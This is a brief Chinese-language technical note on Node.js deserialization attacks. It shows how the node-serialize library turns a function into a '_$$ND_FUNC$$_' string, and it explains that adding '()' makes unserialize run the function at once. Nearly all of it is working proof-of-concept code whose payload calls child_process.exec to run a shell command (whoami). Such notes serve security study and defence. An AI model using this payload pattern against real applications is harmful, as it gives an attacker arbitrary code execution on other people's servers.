nodejs反序列化

const serialize = require("node-serialize");
let obj = {
  rce: function () {
    require("child_process").exec("whoami > res");
  },
};
let res = serialize.serialize(obj);
console.log(res);

{"rce":"_$$ND_FUNC$$_function(){require(\"child_process\").exec(\"whoami > res\");}"}

在后面加上()， 反序列化就会立即执行

serialize.unserialize(
  '{"rce":"_$$ND_FUNC$$_function(){require(\\"child_process\\").exec(\\"whoami > res\\");}()"}'
);